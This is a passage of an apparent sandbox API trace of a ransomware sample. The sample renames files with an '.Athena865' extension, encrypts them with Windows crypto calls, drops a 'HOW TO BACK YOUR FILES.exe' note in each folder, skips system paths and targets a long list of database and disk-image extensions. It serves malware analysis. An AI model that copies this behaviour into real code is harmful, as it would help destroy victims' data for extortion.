[0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="temp") returned -1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="pagefile.sys") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="boot") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="ids.txt") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="ntuser.dat") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="perflogs") returned 1 [0092.097] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2="MSBuild") returned 1 [0092.097] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0092.097] lstrcpyW (in: lpString1=0x241e8a2, lpString2="TableTextServiceYi.txt" | out: lpString1="TableTextServiceYi.txt") returned="TableTextServiceYi.txt" [0092.097] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0092.097] lstrlenW (lpString="Athena865") returned 9 [0092.097] lstrcmpiW (lpString1="iceYi.txt", lpString2="Athena865") returned 1 [0092.097] lstrlenW (lpString=".dll") returned 4 [0092.098] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".dll") returned 1 [0092.098] lstrlenW (lpString=".lnk") returned 4 [0092.098] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".lnk") returned 1 [0092.098] lstrlenW (lpString=".ini") returned 4 [0092.098] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".ini") returned 1 [0092.098] lstrlenW (lpString=".sys") returned 4 [0092.098] lstrcmpiW (lpString1="TableTextServiceYi.txt", lpString2=".sys") returned 1 [0092.098] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0092.098] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt.Athena865") returned 77 [0092.098] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt.athena865"), dwFlags=0x1) returned 1 [0092.101] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextServiceYi.txt.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextserviceyi.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.101] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=44968) returned 1 [0092.101] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0092.102] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0092.102] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0092.103] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.103] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.103] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb2b0, lpName=0x0) returned 0x154 [0092.106] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb2b0) returned 0x100000 [0092.109] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0092.110] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.110] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0092.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0092.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0092.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.111] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.111] CloseHandle (hObject=0x154) returned 1 [0092.111] CloseHandle (hObject=0x17c) returned 1 [0092.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0092.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0092.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.112] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0092.112] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.112] ReleaseMutex (hMutex=0xec) returned 1 [0092.112] CloseHandle (hObject=0xec) returned 1 [0092.112] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Photo Viewer\\en-US" | out: lpString1="C:\\Program Files\\Windows Photo Viewer\\en-US") returned="C:\\Program Files\\Windows Photo Viewer\\en-US" [0092.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x529250 | out: hHeap=0x4f0000) returned 1 [0092.112] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c440 | out: hHeap=0x4f0000) returned 1 [0092.112] lstrlenW (lpString="C:\\Program Files\\Windows Photo Viewer\\en-US") returned 43 [0092.112] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\6ACDCF6E08B0DA62CDC0017C1CE32459") returned 0xec [0092.112] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.112] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Photo Viewer\\en-US" | out: lpString1="C:\\Program Files\\Windows Photo Viewer\\en-US") returned="C:\\Program Files\\Windows Photo Viewer\\en-US" [0092.112] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.112] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows photo viewer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.113] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows photo viewer\\en-us\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.113] GetLastError () returned 0x0 [0092.113] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.113] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0092.113] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.114] CloseHandle (hObject=0xf4) returned 1 [0092.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0092.114] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc02e2160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc02e2160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.114] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.114] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.114] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.114] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc02e2160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc02e2160, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.115] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.115] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.115] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.115] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.115] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc02e2160, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc02e2160, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.115] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.115] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="windows") returned -1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="bootmgr") returned 1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="temp") returned -1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="pagefile.sys") returned -1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="boot") returned 1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="ids.txt") returned 1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="ntuser.dat") returned -1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="perflogs") returned -1 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2="MSBuild") returned -1 [0092.115] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0092.115] lstrcpyW (in: lpString1=0x241e8a0, lpString2="ImagingDevices.exe.mui" | out: lpString1="ImagingDevices.exe.mui") returned="ImagingDevices.exe.mui" [0092.115] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0092.115] lstrlenW (lpString="Athena865") returned 9 [0092.115] lstrcmpiW (lpString1="s.exe.mui", lpString2="Athena865") returned 1 [0092.115] lstrlenW (lpString=".dll") returned 4 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".dll") returned 1 [0092.115] lstrlenW (lpString=".lnk") returned 4 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".lnk") returned 1 [0092.115] lstrlenW (lpString=".ini") returned 4 [0092.115] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".ini") returned 1 [0092.116] lstrlenW (lpString=".sys") returned 4 [0092.116] lstrcmpiW (lpString1="ImagingDevices.exe.mui", lpString2=".sys") returned 1 [0092.116] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0092.116] lstrlenW (lpString="bak") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="bak") returned 1 [0092.116] lstrlenW (lpString="ba_") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="ba_") returned 1 [0092.116] lstrlenW (lpString="dbb") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="dbb") returned 1 [0092.116] lstrlenW (lpString="vmdk") returned 4 [0092.116] lstrcmpiW (lpString1=".mui", lpString2="vmdk") returned -1 [0092.116] lstrlenW (lpString="rar") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="rar") returned -1 [0092.116] lstrlenW (lpString="zip") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="zip") returned -1 [0092.116] lstrlenW (lpString="tgz") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="tgz") returned -1 [0092.116] lstrlenW (lpString="vbox") returned 4 [0092.116] lstrcmpiW (lpString1=".mui", lpString2="vbox") returned -1 [0092.116] lstrlenW (lpString="vdi") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="vdi") returned -1 [0092.116] lstrlenW (lpString="vhd") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="vhd") returned -1 [0092.116] lstrlenW (lpString="vhdx") returned 4 [0092.116] lstrcmpiW (lpString1=".mui", lpString2="vhdx") returned -1 [0092.116] lstrlenW (lpString="avhd") returned 4 [0092.116] lstrcmpiW (lpString1=".mui", lpString2="avhd") returned -1 [0092.116] lstrlenW (lpString="db") returned 2 [0092.116] lstrcmpiW (lpString1="ui", lpString2="db") returned 1 [0092.116] lstrlenW (lpString="db2") returned 3 [0092.116] lstrcmpiW (lpString1="mui", lpString2="db2") returned 1 [0092.117] lstrlenW (lpString="db3") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="db3") returned 1 [0092.117] lstrlenW (lpString="dbf") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="dbf") returned 1 [0092.117] lstrlenW (lpString="mdf") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="mdf") returned 1 [0092.117] lstrlenW (lpString="mdb") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="mdb") returned 1 [0092.117] lstrlenW (lpString="sql") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="sql") returned -1 [0092.117] lstrlenW (lpString="sqlite") returned 6 [0092.117] lstrcmpiW (lpString1="xe.mui", lpString2="sqlite") returned 1 [0092.117] lstrlenW (lpString="sqlite3") returned 7 [0092.117] lstrcmpiW (lpString1="exe.mui", lpString2="sqlite3") returned -1 [0092.117] lstrlenW (lpString="sqlitedb") returned 8 [0092.117] lstrcmpiW (lpString1=".exe.mui", lpString2="sqlitedb") returned -1 [0092.117] lstrlenW (lpString="xml") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="xml") returned -1 [0092.117] lstrlenW (lpString="$er") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="$er") returned 1 [0092.117] lstrlenW (lpString="4dd") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="4dd") returned 1 [0092.117] lstrlenW (lpString="4dl") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="4dl") returned 1 [0092.117] lstrlenW (lpString="^^^") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="^^^") returned 1 [0092.117] lstrlenW (lpString="abs") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="abs") returned 1 [0092.117] lstrlenW (lpString="abx") returned 3 [0092.117] lstrcmpiW (lpString1="mui", lpString2="abx") returned 1 [0092.117] lstrlenW (lpString="accdb") returned 5 [0092.118] lstrcmpiW (lpString1="e.mui", lpString2="accdb") returned 1 [0092.118] lstrlenW (lpString="accdc") returned 5 [0092.118] lstrcmpiW (lpString1="e.mui", lpString2="accdc") returned 1 [0092.118] lstrlenW (lpString="accde") returned 5 [0092.118] lstrcmpiW (lpString1="e.mui", lpString2="accde") returned 1 [0092.118] lstrlenW (lpString="accdr") returned 5 [0092.118] lstrcmpiW (lpString1="e.mui", lpString2="accdr") returned 1 [0092.118] lstrlenW (lpString="accdt") returned 5 [0092.118] lstrcmpiW (lpString1="e.mui", lpString2="accdt") returned 1 [0092.118] lstrlenW (lpString="accdw") returned 5 [0092.118] lstrcmpiW (lpString1="e.mui", lpString2="accdw") returned 1 [0092.118] lstrlenW (lpString="accft") returned 5 [0092.118] lstrcmpiW (lpString1="e.mui", lpString2="accft") returned 1 [0092.118] lstrlenW (lpString="adb") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0092.118] lstrlenW (lpString="adb") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="adb") returned 1 [0092.118] lstrlenW (lpString="ade") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="ade") returned 1 [0092.118] lstrlenW (lpString="adf") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="adf") returned 1 [0092.118] lstrlenW (lpString="adn") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="adn") returned 1 [0092.118] lstrlenW (lpString="adp") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="adp") returned 1 [0092.118] lstrlenW (lpString="alf") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="alf") returned 1 [0092.118] lstrlenW (lpString="ask") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="ask") returned 1 [0092.118] lstrlenW (lpString="btr") returned 3 [0092.118] lstrcmpiW (lpString1="mui", lpString2="btr") returned 1 [0092.118] lstrlenW (lpString="cat") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="cat") returned 1 [0092.119] lstrlenW (lpString="cdb") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="cdb") returned 1 [0092.119] lstrlenW (lpString="ckp") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="ckp") returned 1 [0092.119] lstrlenW (lpString="cma") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="cma") returned 1 [0092.119] lstrlenW (lpString="cpd") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="cpd") returned 1 [0092.119] lstrlenW (lpString="dacpac") returned 6 [0092.119] lstrcmpiW (lpString1="xe.mui", lpString2="dacpac") returned 1 [0092.119] lstrlenW (lpString="dad") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="dad") returned 1 [0092.119] lstrlenW (lpString="dadiagrams") returned 10 [0092.119] lstrcmpiW (lpString1="es.exe.mui", lpString2="dadiagrams") returned 1 [0092.119] lstrlenW (lpString="daschema") returned 8 [0092.119] lstrcmpiW (lpString1=".exe.mui", lpString2="daschema") returned -1 [0092.119] lstrlenW (lpString="db-journal") returned 10 [0092.119] lstrcmpiW (lpString1="es.exe.mui", lpString2="db-journal") returned 1 [0092.119] lstrlenW (lpString="db-shm") returned 6 [0092.119] lstrcmpiW (lpString1="xe.mui", lpString2="db-shm") returned 1 [0092.119] lstrlenW (lpString="db-wal") returned 6 [0092.119] lstrcmpiW (lpString1="xe.mui", lpString2="db-wal") returned 1 [0092.119] lstrlenW (lpString="dbc") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="dbc") returned 1 [0092.119] lstrlenW (lpString="dbs") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="dbs") returned 1 [0092.119] lstrlenW (lpString="dbt") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="dbt") returned 1 [0092.119] lstrlenW (lpString="dbv") returned 3 [0092.119] lstrcmpiW (lpString1="mui", lpString2="dbv") returned 1 [0092.119] lstrlenW (lpString="dbx") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dbx") returned 1 [0092.120] lstrlenW (lpString="dcb") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dcb") returned 1 [0092.120] lstrlenW (lpString="dct") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dct") returned 1 [0092.120] lstrlenW (lpString="dcx") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dcx") returned 1 [0092.120] lstrlenW (lpString="ddl") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="ddl") returned 1 [0092.120] lstrlenW (lpString="dlis") returned 4 [0092.120] lstrcmpiW (lpString1=".mui", lpString2="dlis") returned -1 [0092.120] lstrlenW (lpString="dp1") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dp1") returned 1 [0092.120] lstrlenW (lpString="dqy") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dqy") returned 1 [0092.120] lstrlenW (lpString="dsk") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dsk") returned 1 [0092.120] lstrlenW (lpString="dsn") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dsn") returned 1 [0092.120] lstrlenW (lpString="dtsx") returned 4 [0092.120] lstrcmpiW (lpString1=".mui", lpString2="dtsx") returned -1 [0092.120] lstrlenW (lpString="dxl") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="dxl") returned 1 [0092.120] lstrlenW (lpString="eco") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="eco") returned 1 [0092.120] lstrlenW (lpString="ecx") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="ecx") returned 1 [0092.120] lstrlenW (lpString="edb") returned 3 [0092.120] lstrcmpiW (lpString1="mui", lpString2="edb") returned 1 [0092.120] lstrlenW (lpString="epim") returned 4 [0092.120] lstrcmpiW (lpString1=".mui", lpString2="epim") returned -1 [0092.120] lstrlenW (lpString="fcd") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fcd") returned 1 [0092.121] lstrlenW (lpString="fdb") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fdb") returned 1 [0092.121] lstrlenW (lpString="fic") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fic") returned 1 [0092.121] lstrlenW (lpString="flexolibrary") returned 12 [0092.121] lstrcmpiW (lpString1="ices.exe.mui", lpString2="flexolibrary") returned 1 [0092.121] lstrlenW (lpString="fm5") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fm5") returned 1 [0092.121] lstrlenW (lpString="fmp") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fmp") returned 1 [0092.121] lstrlenW (lpString="fmp12") returned 5 [0092.121] lstrcmpiW (lpString1="e.mui", lpString2="fmp12") returned -1 [0092.121] lstrlenW (lpString="fmpsl") returned 5 [0092.121] lstrcmpiW (lpString1="e.mui", lpString2="fmpsl") returned -1 [0092.121] lstrlenW (lpString="fol") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fol") returned 1 [0092.121] lstrlenW (lpString="fp3") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fp3") returned 1 [0092.121] lstrlenW (lpString="fp4") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fp4") returned 1 [0092.121] lstrlenW (lpString="fp5") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fp5") returned 1 [0092.121] lstrlenW (lpString="fp7") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fp7") returned 1 [0092.121] lstrlenW (lpString="fpt") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="fpt") returned 1 [0092.121] lstrlenW (lpString="frm") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="frm") returned 1 [0092.121] lstrlenW (lpString="gdb") returned 3 [0092.121] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0092.121] lstrlenW (lpString="gdb") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="gdb") returned 1 [0092.122] lstrlenW (lpString="grdb") returned 4 [0092.122] lstrcmpiW (lpString1=".mui", lpString2="grdb") returned -1 [0092.122] lstrlenW (lpString="gwi") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="gwi") returned 1 [0092.122] lstrlenW (lpString="hdb") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="hdb") returned 1 [0092.122] lstrlenW (lpString="his") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="his") returned 1 [0092.122] lstrlenW (lpString="ib") returned 2 [0092.122] lstrcmpiW (lpString1="ui", lpString2="ib") returned 1 [0092.122] lstrlenW (lpString="idb") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="idb") returned 1 [0092.122] lstrlenW (lpString="ihx") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="ihx") returned 1 [0092.122] lstrlenW (lpString="itdb") returned 4 [0092.122] lstrcmpiW (lpString1=".mui", lpString2="itdb") returned -1 [0092.122] lstrlenW (lpString="itw") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="itw") returned 1 [0092.122] lstrlenW (lpString="jet") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="jet") returned 1 [0092.122] lstrlenW (lpString="jtx") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="jtx") returned 1 [0092.122] lstrlenW (lpString="kdb") returned 3 [0092.122] lstrcmpiW (lpString1="mui", lpString2="kdb") returned 1 [0092.122] lstrlenW (lpString="kexi") returned 4 [0092.122] lstrcmpiW (lpString1=".mui", lpString2="kexi") returned -1 [0092.122] lstrlenW (lpString="kexic") returned 5 [0092.122] lstrcmpiW (lpString1="e.mui", lpString2="kexic") returned -1 [0092.122] lstrlenW (lpString="kexis") returned 5 [0092.123] lstrcmpiW (lpString1="e.mui", lpString2="kexis") returned -1 [0092.123] lstrlenW (lpString="lgc") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="lgc") returned 1 [0092.123] lstrlenW (lpString="lwx") returned 3 [0092.123] lstrcmpiW (lpString1="mui", lpString2="lwx") returned 1 [0092.123] lstrlenW 